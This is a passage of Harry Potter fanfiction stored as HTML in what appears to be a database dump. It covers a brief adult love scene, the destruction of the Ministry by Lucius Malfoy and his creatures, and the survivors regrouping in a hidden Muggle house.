style="line-height:150%">&#8220;No.&nbsp; I mean what did you use to kill it?&#8221;</p>\n<p style="line-height:150%">&#8220;Not sure just yet,&#8221;&nbsp; Arthur Weasley said, clutching \n  the tiny triangle in his hand, wondering if any more of the creatures would \n  show up that evening. &#8220;Sirius Black sent it yesterday.&nbsp; It&#8217;s was quite simple \n  to use actually, just like he said it would be.&quot;</p>\n<p style="line-height:150%">&#8220;Sod &#8230;Woman!&#8221; Draco cried, as Mrs. Weasley poured \n  a clear, steaming solution onto his leg.</p>\n<p style="line-height:150%">&#8220;Oh shut up and keep still!&nbsp; You&#8217;re lucky this was \n  all you got,&#8221; she said as Draco ground his teeth together.</p>\n<p style="line-height:150%">&#8220;Aaaargh&#8230;It hurt less when that thing was gnawing \n  on me,&#8221; Draco said, as he watched his flesh slowly come back together.</p>\n<p style="line-height:150%">Ginny Weasley straightened up, and sighed.&nbsp; </p>\n<p style="line-height:150%">&#8220;First thing in the morning we&#8217;ll all head over to \n  the ministry.&nbsp; I need to contact Harry&#8217;s team.&nbsp; Sirius Black is with them,&#8221; \n  Arthur said quietly to the group, &#8220;We aren&#8217;t safe here.&#8221;</p>\n<p style="line-height:150%">Mrs. Weasley sat, worried about the mysterious look \n  on her husband&#8217;s face.&nbsp; He knew more than he was letting on.</p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">The soft illumination of the darkened room had awakened \n  them early from their intermittent slumber.&nbsp; Shara Fonta&#8217;s home was quiet, and \n  no one else was yet awake.</p>\n<p style="line-height:150%">The word&#8217;s that fell now from Harry&#8217;s lips were incoherent, \n  but Hermione understood their meaning.&nbsp; She moaned her response.</p>\n<p style="line-height:150%">Harry was lodging himself between her thighs, asking \n  her to accept him.&nbsp; His possession of her still took her by surpise.&nbsp; </p>\n<p style="line-height:150%">Her legs were closed tightly around his waist, and \n  her lips brushed against the skin of his shoulder.&nbsp; He drove himself into her \n  again and again, raising his head up so he could witness every expression, every \n  sigh that came from her mouth.&nbsp; She was sheathed so tightly around him that \n  he thought he might drown.&nbsp; </p>\n<p style="line-height:150%">Her parted wet lips, her tightly closed eyes &#8230; her \n  soft, quick breath.</p>\n<p style="line-height:150%">It was unbearably fulfilling.&nbsp; </p>\n<p style="line-height:150%"><i>This was their calm before the storm.</i></p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">They were on the train and headed for the portkey \n  home when Ron noticed that Harry was sweating.&nbsp; </p>\n<p style="line-height:150%">&#8220;What is it Harry?&#8221;</p>\n<p style="line-height:150%">&#8220;Just a lot on my mind,&#8221; Harry replied.</p>\n<p style="line-height:150%">Harry took off his glasses and wiped them onto his \n  pants, and then he pushed them back up on the bridge of his nose.&nbsp; They slid \n  down, and he repeated the effort.</p>\n<p style="line-height:150%">Ron recognized this nervous habit.&nbsp; </p>\n<p style="line-height:150%"><i>If Harry was nervous, they must be in for quite \n  the fight.</i></p>\n<p style="line-height:150%">Cho was restlessly moving about the car, and Hermione \n  stood near Harry biting her lip, looking like a frightened kid.&nbsp; Hermione\'s \n  vision from the night before was still haunting her.&nbsp; </p>\n<p style="line-height:150%">Sirius still looked as if he hadn&#8217;t gotten any sleep, \n  and Ron, for once, looked more thoughtful then concerned.&nbsp; Neville was the only \n  one who looked fairly normal; carefully sipping the cup of hot coffee he&#8217;d gotten \n  from Madam Fonta&#8217;s. </p>\n<p style="line-height:150%">&#8220;When we return, I think Hermione should do some research.&nbsp; \n  We need to see if she knows anything about a relative named Nora,&#8221; Sirius said.</p>\n<p style="line-height:150%">&#8220;I agree,&#8221; Hermione chimed, needing to find out what \n  her vision had meant, if anything.</p>\n<p style="line-height:150%">&#8220;And I will arrange for us to meet with Arthur Weasley \n  tonight,&#8221; Harry said.</p>\n<p style="line-height:150%">Ron sat down in a seat next to a window.&nbsp; He couldn&#8217;t \n  see anything but streaks and blurs.</p>\n<p style="line-height:150%"><i>Why even put windows in these things?&nbsp; It isn&#8217;t \n  like the scenery is pleasant, </i>he thought<i>.</i></p>\n<p style="line-height:150%">&#8220;Hey,&#8221; Harry said, sitting down next to him.</p>\n<p style="line-height:150%">&#8220;Hey.&#8221; </p>\n<p style="line-height:150%">&#8220;You and Cho seem to be playing nicely,&#8221; Harry said \n  under his breath.</p>\n<p style="line-height:150%">Ron smiled insidiously.</p>\n<p style="line-height:150%">&#8220;You could say that,&#8221; Ron said, &#8220;And I see you aren&#8217;t \n  doing so bad yourself these days.&#8221;</p>\n<p style="line-height:150%">&#8220;That&#8217;s true.&#8221;</p>\n<p style="line-height:150%">Harry thought he detected a flash of something in \n  Ron&#8217;s eyes.</p>\n<p style="line-height:150%">&#8220;It doesn&#8217;t upset you does it?&#8221;</p>\n<p style="line-height:150%">&#8220;What do you mean?&nbsp; The fact that you&#8217;ve bedded our \n  mutual best friend?&#8221; Ron gave Harry a reassuring look. His schoolboy crush on \n  Hermione had ended years ago, but he was appreciative of Harry&#8217;s concern nonetheless.&nbsp; \n  &#8220;I&#8217;m happy for you.&nbsp; Of course&#8230; getting laid by the hottest woman in the universe \n  makes me slightly more receptive to your newfound joy,&#8221; Ron quipped.</p>\n<p style="line-height:150%">&#8220;Second hottest&#8230; and I&#8217;m glad.&#8221;</p>\n<p style="line-height:150%">&#8220;Well,&#8221; Ron added, &quot;I at least hope you&#8217;ll let \n  us borrow her sometime for a threesome.&#8221; </p>\n<p style="line-height:150%">&#8220;Funny, very funny.&nbsp; You\'re a regular comedian,&#8221; Harry \n  said laughing.</p>\n<p style="line-height:150%">Cho and Hermione were looking at them now.&nbsp; Ron moved \n  his face closer to Harry&#8217;s, so they wouldn&#8217;t be heard.&nbsp; The conversation they \n  were having would have probably gotten them both into hot water.</p>\n<p style="line-height:150%">&#8220;Seriously, Cho apparently has a thing for redheads&#8230;&#8221; \n  Ron teased, pushing the envelope even farther.</p>\n<p style="line-height:150%">Harry was armed and ready.&nbsp; &#8220;So I guess she&#8217;s dated \n  Ginny then?&#8221;</p>\n<p style="line-height:150%">Ron growled in defeat,&nbsp; &#8220;Ugh...Touch&#233; Potter&#8230;&#8221;</p>\n<p style="line-height:150%">Ron was growing increasingly impatient with getting \n  back home.&nbsp; He had this sinking feeling something was wrong.&nbsp; </p>\n<p style="line-height:150%"><i>Hell, something was always wrong.</i></p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">Lois Mills barely slept that night because the normally \n  peaceful ministry building had begun buzzing in the wee hours of the morning, \n  and hadn&#8217;t yet died down.&nbsp; The guard had checked on her at least three times \n  in the last hour.&nbsp; Something wasn&#8217;t quite right.</p>\n<p style="line-height:150%">Lois was still grappling with all that had happened \n  to her in the past two days.&nbsp; At first, she had wondered if she wasn&#8217;t on the \n  receiving end of some elaborate practical joke, but it was highly unlikely with \n  the company she chose to keep, mostly retired schoolteachers and a few widowed \n  housewives.&nbsp; </p>\n<p style="line-height:150%">And she had seen things now.&nbsp; </p>\n<p style="line-height:150%">She was rummaging round through the box Mr. Weasley \n  had brought to her again, when a piece of paper fell from the pages of one of \n  her books.</p>\n<p style="line-height:150%"><i>Wise Investment Advice for Women, by Martha Stewart.</i></p>\n<p style="line-height:150%">But it wasn&#8217;t a stock tip; it was a page from the \n  book&#8230;her missing book.&nbsp; It had been ripped out and taped back in years ago, \n  and the tape had finally given way.&nbsp; The rhyme made no sense, but so far everything \n  she was dealing with now was outside of her experience.&nbsp; She would send it with \n  that bird to give to Arthur Weasley.</p>\n<p style="line-height:150%">&nbsp;</p>\n<p style="line-height:150%"><i>For \n  she who&#8217;s close enough to dare,</i></p>\n<p style="line-height:150%"><i>A \n  shiny lock of a maiden&#8217;s hair,</i></p>\n<p style="line-height:150%"><i>If \n  prayed upon by one schooled well,</i></p>\n<p style="line-height:150%"><i>Will \n  send the devil back to hell.</i></p>\n<p style="line-height:150%">&nbsp;</p>\n<p style="line-height:150%">She wrote Arthur Weasley&#8217;s name on an envelope, and \n  tucked the page inside with a quick note.&nbsp; Then she reluctantly placed the letter \n  at the feet of the waiting owl. </p>\n<p style="line-height:150%"><i>An awfully inefficient way of mailing things</i>, \n  Lois thought.</p>\n<p style="line-height:150%">The tiny, fidgety bird picked it up in its mouth and \n  flew from her window.</p>\n<p style="line-height:150%">Then there was a rapid succession of footsteps. &nbsp;Running.&nbsp; \n</p>\n<p style="line-height:150%"><i>People were running?</i></p>\n<p style="line-height:150%">A Pause.&nbsp; Then more footsteps.</p>\n<p style="line-height:150%">Clank!&nbsp; Clank! &nbsp;Shriek!</p>\n<p style="line-height:150%">&#8220;They&#8217;re breaking through!&nbsp; The magic isn&#8217;t holding \n  up the barrier!&#8221; a man screamed.&nbsp; Lois recognized this as her guard, but his \n  voice was suddenly muffled by something that had moved over top of him.&nbsp; </p>\n<p style="line-height:150%">She looked then and saw it.&nbsp; It&#8217;s mirrored eyes reflecting \n  her fear back at her&#8230;</p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">Hermione Granger couldn&#8217;t believe it.&nbsp; The ministry \n  building had looked like it always did from the outside&#8230;</p>\n<p style="line-height:150%">Harry felt a surge of rage, and slammed his fist against \n  the wall.&nbsp; The normally busy ministry reception area responded with a powerful \n  silence, lying in disarray before them. </p>\n<p style="line-height:150%">&#8220;Where is&#8230;what&#8230;it can&#8217;t be&#8230;&#8221; Harry stammered, his \n  anger giving way to confusion.</p>\n<p style="line-height:150%">They could see no signs of life anywhere.&nbsp; Shocked, \n  Harry moved forward, trying not to lose his balance as he navigated his way \n  through the broken glass and the bodies of friends, strewn about like tinsel.&nbsp; \n  Even though the sun shone brightly outside, the building was well shaded from \n  prying eyes.&nbsp; They could barely see a foot ahead of them, and it was probably \n  to their benefit.&nbsp; </p>\n<p style="line-height:150%">Hermione found at one point that the floor she was \n  walking on was torn apart, and she could feel the soft ground beneath her.&nbsp; \n</p>\n<p style="line-height:150%"><i>They could have come through the barrier underground...it \n  was the weakest protected area.</i> </p>\n<p style="line-height:150%">Sirius cocked his pistol, leaving his wand untouched.</p>\n<p style="line-height:150%">&#8220;Spells won&#8217;t affect them, but this slows them down,&#8221; \n  he said, deliberately deepening his voice.</p>\n<p style="line-height:150%">Cho lost her balance and fell on one knee, but scrambled \n  up quickly, preparing to defend herself.&nbsp; </p>\n<p style="line-height:150%">&#8220;Sorry,&#8221; Neville said.&nbsp; It was he who had blundered \n  up against her.&nbsp; His breathing was shallow and quick.</p>\n<p style="line-height:150%"><i>Gone.&nbsp; Torn to bits.</i></p>\n<p style="line-height:150%">They stopped &#8230;then turned slowly when they heard some \n  movement in the side stairwell.&nbsp; </p>\n<p style="line-height:150%">Tap. Tap. Tap.</p>\n<p style="line-height:150%">The sound moved down from floor to floor, and Sirius \n  pointed his pistol at the doorway, ready to fire at will.&nbsp; Harry stepped in \n  front of Hermione and Ron moved up beside Cho, who had grabbed a plank of wood \n  from the damaged floor.</p>\n<p style="line-height:150%">Sirius broke away from them, moving closer towards \n  the descending noise.&nbsp; The door began to open and they braced themselves for \n  the worst.&nbsp; </p>\n<p style="line-height:150%">Ron could see four figures standing in the dark.&nbsp; \n  He felt one of the beings eyes lock onto his own for one horrifying second.&nbsp; \n  The face was sneering at him.&nbsp; </p>\n<p style="line-height:150%">&#8220;Who&#8217;s there?&#8221; Sirius called out, aiming the gun carefully \n  at the tallest of the shadowed silhouettes.</p>\n<p style="line-height:150%">Ron recognized the sharp sinuous movements of the \n  person he was now glaring at.</p>\n<p style="line-height:150%">&#8220;Sirius? It\'s me, Arthur. We just got here as the \n  beasts were leaving..,&#8221; Arthur Weasley said, his voice a mix of relief and horror, \n  &#8220;Molly, Ginny and&#8230;<i>Draco Malfoy</i> are with me.&#8221;</p>\n<p style="line-height:150%">They had no time to speak again, before something \n  impacted the building, knocking them all off of their feet.&nbsp; They tumbled, rolling \n  on the floor while the walls began to creak and groan.</p>\n<p style="line-height:150%">Hermione pulled herself to her feet.&nbsp; She watched \n  as a metal beam collapsed on top of Neville.&nbsp; </p>\n<p style="line-height:150%">Neville!&#8221; Ron called out, crawling towards him.&nbsp; Harry \n  was right behind him, and they managed to lift it off.&nbsp; They helped Neville \n  to his feet, but Hermione could see blood coming from his forehead.</p>\n<p style="line-height:150%">By now, the building had begun to shake like they \n  were standing in the middle of a violent earthquake.</p>\n<p style="line-height:150%">&#8220;Oh God&#8230;Dear God in Heaven&#8230;&#8221; Mrs. Weasley whispered.</p>\n<p style="line-height:150%">Hermione could smell smoke.</p>\n<p style="line-height:150%">&#8220;We need to leave!&quot; Sirius screamed.</p>\n<p style="line-height:150%">They began to make their way towards the front door, \n  crawling&#8230;standing when they could.&nbsp; They clung to broken panels, desks,... and \n  bodies trying to keep moving forward towards the faint light that was leaking \n  in around the doorway.&nbsp; </p>\n<p style="line-height:150%"><i>Muggle Firemen, </i>Sirius thought as the door \n  swung wide open. &nbsp;&nbsp;They all shut their eyes, not wanting to see what was beneath \n  their hands and feet.</p>\n<p style="line-height:150%">The uniformed Muggles struggled to get to them, helping \n  them out quickly.</p>\n<p style="line-height:150%">&nbsp;They watched...motionless...as fire spit from the \n  windows, the walls finally gave way, and then a cloud of dust blackened the \n  sky.</p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">When he saw her cowering in the corner of the room, \n  Lois Mills had given him her name and he had told her that he knew Hermione \n  Granger.&nbsp; She had mistaken him for a hero, begging him to help her.&nbsp; She had \n  even asked, when she noticed his eyes, now a vibrant shade of green, if he was \n  related to Hermione&#8217;s friend Harry.</p>\n<p style="line-height:150%">Lucius had laughed then, and silenced her immediately \n  with his wand.&nbsp; Then testing the strength of his new power, he had uttered a \n  destruction charm that rocked the foundation so hard the building collapsed \n  &nbsp;&nbsp;</p>\n<p class="MsoBodyText" style="line-height:150%">It was a pleasant surprise, quite \n  dramatic.</p>\n<p style="line-height:150%">Lois Mills lay beneath the rubble now, gone like the \n  rest of them.&nbsp; </p>\n<p style="line-height:150%">He was disappointed in one thing however, that Sirius \n  Black still possessed one of the gateway keys.&nbsp; Their mission had failed in \n  that respect, but at least they had eliminated a good amount of their opposition.&nbsp; \n  Lucius&#8217; had hoped Harry Potter&#8217;s team would be there at the time.&nbsp; That would \n  have saved him loads of trouble, but he&#8217;d deal with them when they came after \n  him.&nbsp; And they would most certainly come after him.</p>\n<p class="MsoBodyText" style="line-height:150%">He was the Dark Lord after all.&nbsp; \n</p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">After managing to separate themselves from the gathering \n  crowd, they walked in silence towards the nearest Muggle subway station.&nbsp; </p>\n<p style="line-height:150%">&#8220;Were you all near that building that went down?&#8221; \n  a man had asked the motley crew as they stepped onto the train.</p>\n<p style="line-height:150%">They didn&#8217;t realize the spectacle they were, their \n  bloody clothing&#8230;dust all over them.</p>\n<p style="line-height:150%">&#8220;Yeah,&#8221; Neville said stoically, blocking the too recent \n  memory.</p>\n<p style="line-height:150%">Arthur Weasley found his voice again.</p>\n<p style="line-height:150%">&#8220;Lets get off at the third stop. I know where we can \n  go,&#8221; Arthur said.</p>\n<p style="line-height:150%">&#8220;Hogwarts?&#8221; Neville asked.</p>\n<p style="line-height:150%">&#8220;No. I imagine they&#8217;ll be sending students home from \n  Hogwarts after what&#8217;s just happened,&#8221; Arthur said, &#8220;There&#8217;s an old Muggle estate \n  that&#8217;s been up for sale for years.&nbsp; It&#8217;s not too far from Hogsmeade.&nbsp; We will \n  all be safer there then anyplace known to Wizards right now.&#8221;</p>\n<p style="line-height:150%">&#8220;Even Malfoy?&#8221; Ron asked, his eyes narrowing in on \n  the blonde boy standing too close to his sister.</p>\n<p style="line-height:150%">Harry put his hand on Ron&#8217;s shoulder.</p>\n<p style="line-height:150%">&#8220;Not now Ron,&#8221; Harry said, as Ron angrily pulled from \n  his grip, &#8220;He&#8217;s been helping us.&#8221;</p>\n<p style="line-height:150%"><i>Malfoy?&nbsp; Malfoy was Harry&#8217;s informant?</i></p>\n<p style="line-height:150%">Sirius and Arthur ignored Ron&#8217;s outburst.</p>\n<p style="line-height:150%">&#8220;Did they get it?&#8221; Sirius asked</p>\n<p style="line-height:150%">&#8220;No.&nbsp; I still have it,&#8221; Arthur whispered back, &#8220;It \n  saved Draco&#8217;s life.&#8221;</p>\n<p style="line-height:150%">More people began to come into their compartment, \n  and their conversation was stopped short.</p>\n<p style="line-height:150%">&#8220;We&#8217;ll talk more when we get there.&#8221;</p>\n<p style="line-height:150%">They all held on and waited, silent now, their critical \n  faces holding back the emotions that flooded them.&nbsp; Cho broke first, tears streaming \n  down her face, washing away her hardened exterior.&nbsp; </p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">The ringmaster was pleased when all of the Hellions \n  assigned to the Ministry Attack had returned to him, virtually unharmed.&nbsp; When \n  Lucius walked into the room, the ringmaster sniffed at him, as if detecting \n  a foul odor.</p>\n<p style="line-height:150%">&#8220;I hope you have completed your work,&#8221; he said.</p>\n<p style="line-height:150%">&#8220;I need to speak with her,&#8221; Lucius muttered, looking \n  over at the room in which she stayed.</p>\n<p style="line-height:150%">The ringmaster nodded, &#8220;Be quick, she needs to rest.&nbsp; \n  She&#8217;s still tired from your transformation.&#8221;</p>\n<p style="line-height:150%">&#8220;Of course,&#8221; Lucius replied, opening the door.</p>\n<p style="line-height:150%">She was standing there, up against the wall with her \n  arms flung to either side like she was being crucified.&nbsp; Her hands were guiding \n  some sort of light into her body and when she noticed him, the flow of light \n  stopped.</p>\n<p style="line-height:150%">&#8220;I despise them, yet I must exist off of their essence,&#8221; \n  she said, lowering her hands and gliding towards him.</p>\n<p style="line-height:150%">She seemed so delicate, but he could sense her power.&nbsp; \n</p>\n<p style="line-height:150%">&#8220;We did not retrieve the third key.&#8221;</p>\n<p style="line-height:150%">Maedon snarled, her wide stretched jaws flashing her \n  sharp yellow teeth, and her head tipping contemptuously to the back.</p>\n<p style="line-height:150%">&#8220;Where is it then?&#8221; she hissed.</p>\n<p style="line-height:150%">&#8220;With a man named Sirius Black,&#8221; Lucius hissed, in \n  his newly acquired language, &#8220;And I believe he will come to us.&#8221;</p>\n<p style="line-height:150%">&#8220;I&#8217;m tired of waiting.&nbsp; You will seek them out,&#8221; she \n  said reaching out to touch his hair.</p>\n<p class="MsoBodyText" style="line-height:150%">He was so different then her Tom.&nbsp; \n</p>\n<p style="line-height:150%">&#8220;It will be done then,&#8221; Lucius said, shuddering from \n  the feel of her fingers running through his locks.</p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="text-align:center;line-height:150%" align="center">&nbsp;</p>\n<p style="line-height:150%"><i>(A/N:&nbsp; I worked as a consultant on the 106th \n  floor of Tower 1, World Trade Center for two years.&nbsp; &nbsp;I was on maternity leave \n  during 9-11.&nbsp; We moved shortly after.&nbsp; I didn&#8217;t realize what I was writing until \n  I had already written it.&nbsp; I guess it&#8217;s a reminder that some monsters are very \n  real.)</i></p>\n\n\n'),
	(90, 12, '\n<u>Requital</u> by Msscribe\n<p>Rating: R- (edited version).&nbsp; Full NC17 version on www.portkey.org.</p>\n<p>Ships: H/Hr</p>\n<p>Type: Angst\\ Romance\\ Action Adventure</p>\n<p>Summary:&nbsp; A story of Hermione Granger coming to terms with her greatest \n  loss, finding her own voice and strength, and coming of age in a world battered \n  by a never-ending war.</p>\n<p style="line-height:150%"><b><i>Disclaimer: \n  No profits are being made off the fiction on these pages. Harry Potter, associated \n  characters and the associated Harry Potter universe is &#169; J. K. Rowling and respective \n  publishers. Fanfiction is fiction&#8212;it&#8217;s not meant to be taken seriously in the \n  least.</i></b><i> </i></p>\n&nbsp;\n<u>Chapter 12 &#8211; Uneasy Alliances</u>\n<p style="line-height:150%">&nbsp;</p>\n<p style="line-height:150%">Arthur Weasley was right about the Muggle house.&nbsp; \n  Although it was only two miles away from Hogsmeade, the neighborhood it stood \n  in looked to be an empty, forsaken place.&nbsp; It was their first night in hiding, \n  and the <i>Diagon Diatribe</i> newspaper was already reporting that Arthur Weasley, \n  along with Harry Potter weren&#8217;t among the dead and had apparently fled the scene.&nbsp; \n  Arthur had scoffed at the article.</p>\n<p style="line-height:150%">Hermione could feel fear inching up her spine like \n  a parade of ants.&nbsp;&nbsp; Her tongue was blistered and dry.&nbsp; Harry stood up, and without \n  asking, poured two big glasses of pumpkin juice.&nbsp; Hermione took the cup he offered \n  without hesitation.&nbsp; </p>\n<p style="line-height:150%">He said, &#8220;I know what you&#8217;re thinking.&#8221;</p>\n<p style="line-height:150%">Hermione&#8217;s eyes automatically flickered down to the \n  floor.&nbsp; &#8220;You couldn&#8217;t possibly.&#8221;</p>\n<p style="line-height:150%">&#8220;No, maybe not,&quot; Harry said uncertainly, &#8220;but \n  I wouldn&#8217;t mind knowing.&#8221;</p>\n<p style="line-height:150%">Hermione became rigid in her chair, an intense expression \n  on her face.</p>\n<p style="line-height:150%">&#8220;It&#8217;s only a matter of time before we have to come \n  face to face with all this&#8230;and a big part of me is sick and tired of risking \n  everything.&nbsp; &#8221;</p>\n<p style="line-height:150%">Harry waited for her to continue, but she didn&#8217;t.</p>\n<p style="line-height:150%">&#8220;Risking everything sounds less crazy to me then living \n  a life with no higher goal than to just simply stay alive,&#8221; he said, &#8220;And I \n  could give you the same speech you gave me one year ago&#8230;but I think I&#8217;ll spare \n  you that and just say that whatever it is you have to do, it won&#8217;t be alone.&#8221;</p>\n<p style="line-height:150%">Hermione was a little startled when Draco walked in.&nbsp; \n  She was still getting used to him being in their midst.</p>\n<p style="line-height:150%">&#8220;Potter.&nbsp; Granger.&nbsp; I think you&#8217;ll find the upstairs \n  accommodations quite suitable&#8230;considering this place was a rat hole before.&nbsp; \n  It&#8217;s a pity we have to leave it the same on the outside,&#8221; he said grabbing a \n  cup of juice for himself.</p>\n<p style="line-height:150%">&#8220;I didn&#8217;t know you were into interior decorating,&#8221; \n  Harry said.</p>\n<p style="line-height:150%">Draco scowled, and without another word walked out.</p>\n<p style="line-height:150%">&#8220;Well&#8230;he didn&#8217;t insult me.&nbsp; That&#8217;s a plus,&#8221; Hermione \n  said, &#8220;Harry?&#8221;</p>\n<p style="line-height:150%">Harry sat down; testing out the recliner he had just \n  tranfigured from what used to be a milk carton.</p>\n<p style="line-height:150%">&#8220;Yes?&#8221;</p>\n<p style="line-height:150%">&#8220;Did Ron ever find out that there was something going \n  on&#8230;between Malfoy and Ginny?&#8221; Hermione asked, desperately needing to discuss \n  something other than the latest battle for their lives.</p>\n<p style="line-height:150%">Harry shrugged.&nbsp; &#8220;I&#8217;ve never had the guts to ask, \n  but I&#8217;m guessing not, since Malfoy&#8217;s still breathing.&#8221;</p>\n<p style="line-height:150%">They sat in comfortable silence a minute or two, absorbed \n  in their own thoughts.</p>\n<p style="line-height:150%">&#8220;So what if we win Harry?&nbsp; What is there now?&nbsp; I know \n  the other Ministries are sending help, but even if we survive this&#8230;we&#8217;ve lost \n  so many people&#8230;I&#8217;ve lost all of my family now,&#8221; Hermione said.</p>\n<p style="line-height:150%">Harry could hear the dull pitch of sorrow in her voice.&nbsp; \n  She had accepted that her Aunt Lois most likely didn&#8217;t survive the attack.</p>\n<p style="line-height:150%">&#8220;I think this thing is connected to you somehow, and \n  not me for once.&nbsp; And I think you&#8217;ll survive it.&nbsp; I think that we will.&#8221;</p>\n<p style="line-height:150%">She sighed deeply, and then she spoke again.&nbsp; She \n  talked about her parents, her aunt, their friendship with Ron.&nbsp; She talked about \n  her hair, and wanting to let the color fade and her curl return.&nbsp; </p>\n<p style="line-height:150%">Her face was pensive, and her hand clasped with his.&nbsp; \n  And they sat there, listening to the others bustle around the run down house, \n  not yet ready to move.</p>\n<p style="text-align:center;\nline-height:150%" align="center">#</p>\n<p style="line-height:150%">&#8220;C&#8217;mon Ron, stop acting like such a prat!&#8221; Cho said \n  growing increasingly frustrated at his rants about Draco Malfoy.&nbsp; &#8220;He\'s been \n  helping Harry all along, not to mention that he and Ginny seem to be hitting \n  it off.&#8221;</p>\n<p style="line-height:150%">&#8220;What?&nbsp; That&#8217;s stupid!&nbsp; Ginny wouldn&#8217;t stoop to his \n  level!&#8221; he replied hotly.</p>\n<p style="line-height:150%">Cho raised her face to his, daring him to move closer.&nbsp; \n  Then her eyes narrowed into angry slits.</p>\n<p style="line-height:150%">&#8220;Malfoy is here, and for once he&#8217;s on your side.&nbsp; \n  God knows how many people died today at the hands of his father, the same father \n  coincidentally that Arthur suspects murdered his mother and attempted to murder \n  Draco,&#8221; she snapped.</p>\n<p style="line-height:150%">Cho threw back her head and watched as Ron&#8217;s heated \n  flush began to slowly subside.&nbsp; Something in her voice had stayed him.</p>\n<p style="line-height:150%">&#8220;Alright, I&#8217;ll lay off but don&#8217;t expect me to be nice \n  to him.&nbsp; And don&#8217;t even kid about him and Ginny.&#8221;</p>\n<p style="line-height:150%">Ron shook his head, leaning in to kiss her,&nbsp; &#8220;At least \n  I don&#8217;t have to share a room with Malfoy.&nbsp; Neville and I have decided to let \n  Harry put up with the lousy git.&#8221;</p>\n<p style="text-align:center;\nline-height:150%" align="center">#</p>\n<p style="line-height:150%">Sirius had a murderous, pounding headache.&nbsp; It made \n  every word that came out of Arthur Weasley&#8217;s mouth seem ten times louder.&nbsp;&nbsp; \n  Molly wasn&#8217;t talking, but worked in the kitchen preparing dinner for all nine \n  of them, hardly a great feat for someone who had raised seven children.&nbsp; She \n  hummed to herself as she worked, her song a subtle background to the serious \n  tone of their conversation.&nbsp; Her eyes however were distant, and Sirius could \n  tell she was still recovering from what they had witnessed that morning.&nbsp; </p>\n<p style="line-height:150%">&#8220;If Shara is right, then they cannot go much farther \n  until they obtain the object currently in our possession,&#8221; Arthur said pointedly.</p>\n<p style="line-height:150%">&#8220;Yes, but according to Shara, we can&#8217;t destroy them \n  without the other matching objects.&nbsp; When I recovered the one, it was joined \n  with two more.&nbsp; I only managed to free the one before I was attacked.&nbsp; Before \n  we&#8230;we were attacked,&#8221; Sirius responded, his voice faltering.</p>\n<p style="line-height:150%">&#8220;I head about Remus Lupin.&nbsp; I&#8217;m sorry Sirius.&nbsp; Does \n  Harry know?&#8221;</p>\n<p style="line-height:150%">&#8220;I&#8217;m sure he does, although I hope he is trying not \n  to think about all we&#8217;ve lost so far.&#8221;</p>\n<p style="line-height:150%">There was a moment of dutiful silence.</p>\n<p style="line-height:150%">&#8220;So once we have the other two objects, we can banish \n  the creatures?&#8221;&nbsp; </p>\n<p style="line-height:150%">&#8220;Maybe.&#8221;</p>\n<p style="line-height:150%">&#8220;Maybe?&#8221;</p>\n<p style="line-height:150%">&#8220;There&#8217;s a piece we&#8217;re missing.&nbsp; It involves Hermione.&#8221;</p>\n<p style="line-height:150%">&#8220;You mean the book they were looking for and the connection \n  to a distant relative of Hermione&#8217;s&#8230;. Nora Mills?&#8221; Arthur asked.</p>\n<p style="line-height:150%">&#8220;Yes.&nbsp; We&#8217;re pretty sure we know it was Nora Mills \n  who banished these beings the first time, but what we don&#8217;t know is how.&nbsp; It \n  was probably described in the missing book.&#8221;</p>\n<p style="line-height:150%">Arthur thought back to the meetings with his team \n  of Aurors after their visits to Club Mistress. &#8220;Harry had said two of the men \n  at the club spoke parseltounge.&nbsp; They had ordered him to feed the body of a \n  Muggle to a creature they were hiding in the back, perhaps the same thing that \n  attacked Draco?&#8221;</p>\n<p style="line-height:150%">&#8220;I doubt it.&nbsp; These beings seem to be only soldiers.&nbsp; \n  The Death Eaters who were with them in Cairo seemed unconcerned when we were \n  able to eliminate some of them.&nbsp;&nbsp; It must be something else they are hiding.&#8221; \n  Sirius responded, laying his head down onto the cool of the counter.</p>\n<p style="line-height:150%">The Weasley&#8217;s owl interrupted them, fluttering into \n  the kitchen.&nbsp; Molly Weasley smiled, pleased that Pigwidgeon had heard her summoning \n  spell and had found them so quickly.&nbsp; She was anxious to send word of their \n  safety to her other children.&nbsp; </p>\n<p style="line-height:150%">Pig dropped a letter in front of Arthur Weasley.&nbsp; \n  It was from Lois Mills.&nbsp; </p>\n<p style="text-align:center;\nline-height:150%" align="center">#</p>\n<p style="line-height:150%">Neville didn&#8217;t think his ill and battered body, whose \n  suffering was equal to that of his spirit at the moment, would be willing to \n  acquiesce to any sort of epic adventure that evening and hoped that whatever \n  Sirius and Arthur were planning, it would be after a couple of nights of much \n  needed rest.&nbsp; His only consolation was that he had gotten through to Danielle \n  to leave the flat, and that he would contact her when he could.&nbsp; Surprisingly, \n  she didn&#8217;t argue with him, and sensing the anxiety in his voice, had promised \n  to flee that night.&nbsp;&nbsp; </p>\n<p style="line-height:150%">He was almost certain that at least a few Death Eaters \n  had been at the attack.&nbsp; The receptionist Sarah looked like she had been executed \n  with the killing curse.&nbsp; He also doubted they would forget that the Ministry \n  kept records of where their Aurors resided.&nbsp; </p>\n<p style="line-height:150%"><i>Predators were probably out now, in search of survivors</i>, \n  he thought.</p>\n<p style="line-height:150%">So he found himself here, in a run down Muggle house, \n  using his transfiguration skills to make candles and other supplies out of dead \n  rodents and empty bottles of malt liquor.&nbsp; Draco Malfoy stood next to him, changing \n  the color of his comforter for the third time.</p>\n<p style="line-height:150%">&#8220;Who cares what color it is Malfoy?&#8221; Neville said.</p>\n<p style="line-height:150%">Draco waved his hand dismissively.&nbsp; &#8220;I suppose I can&#8217;t \n  expect you to have any knowledge of these sort of things Longbottom, but considering \n  we don&#8217;t know how long we&#8217;ll have to reside here, I should at least have some \n  comfort before I march in to be slaughtered alongside of you bumbling idiots.&#8221;</p>\n<p style="line-height:150%">Neville sighed, waving his right arm in a dramatic \n  flourish and bowing to Draco.&nbsp; &#8220;Whatever you desire your highness.&#8221;</p>\n<p style="line-height:150%">Ginny Weasley laughed, watching the scene from the \n  doorway.</p>\n<p style="line-height:150%">&#8220;Draco Malfoy has impeccable taste,&#8221; she 